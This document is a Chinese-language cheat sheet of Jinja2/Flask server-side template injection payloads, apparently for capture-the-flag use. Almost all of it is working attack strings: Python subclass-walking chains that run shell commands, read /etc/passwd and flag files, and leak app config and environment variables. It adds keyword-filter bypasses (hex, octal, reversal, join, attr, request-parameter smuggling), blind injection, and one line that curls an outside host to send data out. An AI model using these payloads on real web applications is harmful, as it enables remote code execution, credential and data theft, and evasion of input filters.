__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__(): 获取类的所有子类
__init__ : 所有自带的类都包含init方法,常用它当跳板来调用globals
__globals__ : 返回当前位置的全部模块,方法和全局变量,用于配合init使用
Jinja {{7*'7'}} #输出7777777
"".__class__
一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]
"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)
0、<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
1、<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}
2、<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
3、<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
4、<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}
# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}
调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
{{config}}
{{handler.settings}}
{{self.__dict__._TemplateReference__context.config}}
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
python2
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
过滤关键字如“class”、“config”、“eval”、"os"等
''.__class__ => ''["\137\137\143\154\141\163\163\137\137"](8进制)
''.__class__ => ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"](16进制)
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[80]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29")['\x72\x65\x61\x64']()}}
''.__class__ => ''["__ssalc__"[::-1]]
''.__class__ => ''["__cla""ss__"]
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
''.__class__ => ''['X19jbGFzc19f'.decode('base64')]
''.__class__ => ''["__CLASS__"|lower]
''.__class__ => ''[["__clas","s__"]|join] or ''[("__clas","s__")|join]
''.__class__ => ''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
''.__class__ => ''|attr("__ssalc__"|reverse)
request.args.x1 get传参
request.values.x1 post传参
request.cookies
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或 multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
//get {{request|attr((request.args.application)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.import,request.args.usc*2)|join)((request.args.os)|join)|attr((request.args.popen)|join)((request.args.id)|join)|attr((request.args.read)|join)()}}&usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//post
{{request|attr((request.values.application)|join)|attr((request.values.usc*2,request.values.globals,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.builtins,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.import,request.values.usc*2)|join)((request.values.os)|join)|attr((request.values.popen)|join)((request.values.id)|join)|attr((request.values.read)|join)()}}
post: usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//其他的也类似
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.func_globals.values().__getitem__(13).__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}
{{().__class__.__bases__.pop(0).__subclasses__().pop(59).__init__.func_globals.values().pop(13).pop('eval')('__import__("os").popen("cat /flag").read()')}}
''.__class__ => ''["__class__"]
''.__class__ => ''|attr('__class__') or getattr('',"__class__")
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参
•使用{%%}外带数据或盲注
//外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
//盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
//打印
{%print config%}